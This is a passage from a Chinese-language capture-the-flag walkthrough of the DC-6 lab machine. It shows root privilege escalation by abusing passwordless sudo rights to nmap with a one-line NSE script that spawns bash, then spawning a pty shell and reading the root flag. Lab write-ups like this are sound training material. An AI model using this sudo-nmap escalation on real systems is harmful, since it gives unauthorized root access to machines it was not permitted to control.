jens

我们看看jens的sudo权限，发现可以使用nmap，那我们直接利用nmap的自定义脚本提权。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
jens@dc-6:~$ sudo -l
Matching Defaults entries for jens on dc-6:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jens may run the following commands on dc-6:
    (root) NOPASSWD: /usr/bin/nmap
jens@dc-6:~$ sudo nmap --interactive
nmap: unrecognized option '--interactive'
See the output of nmap -h for a summary of options.
jens@dc-6:~$ TF=$(mktemp)
jens@dc-6:~$ echo 'os.execute("/bin/bash")' > $TF
jens@dc-6:~$ sudo nmap --script=$TF

Starting Nmap 7.40 ( https://nmap.org ) at 2023-06-03 18:14 AEST
NSE: Warning: Loading '/tmp/tmp.tjVS1DLp9J' -- the recommended file extension is '.nse'.
root@dc-6:/home/jens#

成功提权。

但此时的shell是有问题的，输入是没有显示的，所以我们盲打一个python -c "import pty; pty.spawn('/bin/bash')"重新spawn一个bash就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root@dc-6:~# root@dc-6:~# whoami
root
root@dc-6:~# uname -a
Linux dc-6 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 GNU/Linux
root@dc-6:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:e1:6f:2c brd ff:ff:ff:ff:ff:ff
    inet 192.168.56.115/24 brd 192.168.56.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fee1:6f2c/64 scope link 
       valid_lft forever preferred_lft forever
root@dc-6:~# cat theflag.txt


Yb        dP 888888 88     88         8888b.   dP"Yb  88b 88 888888 d8b 
 Yb  db  dP  88__   88     88          8I  Yb dP   Yb 88Yb88 88__   Y8P 
  YbdPYbdP   88""   88  .o 88  .o      8I  dY Yb   dP 88 Y88 88""   `"' 
   YP  YP    888888 88ood8 88ood8     8888Y"   YbodP  88  Y8 888888 (8) 


Congratulations!!!

Hope you enjoyed DC-6.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.


root@dc-6:~#

完成。

≡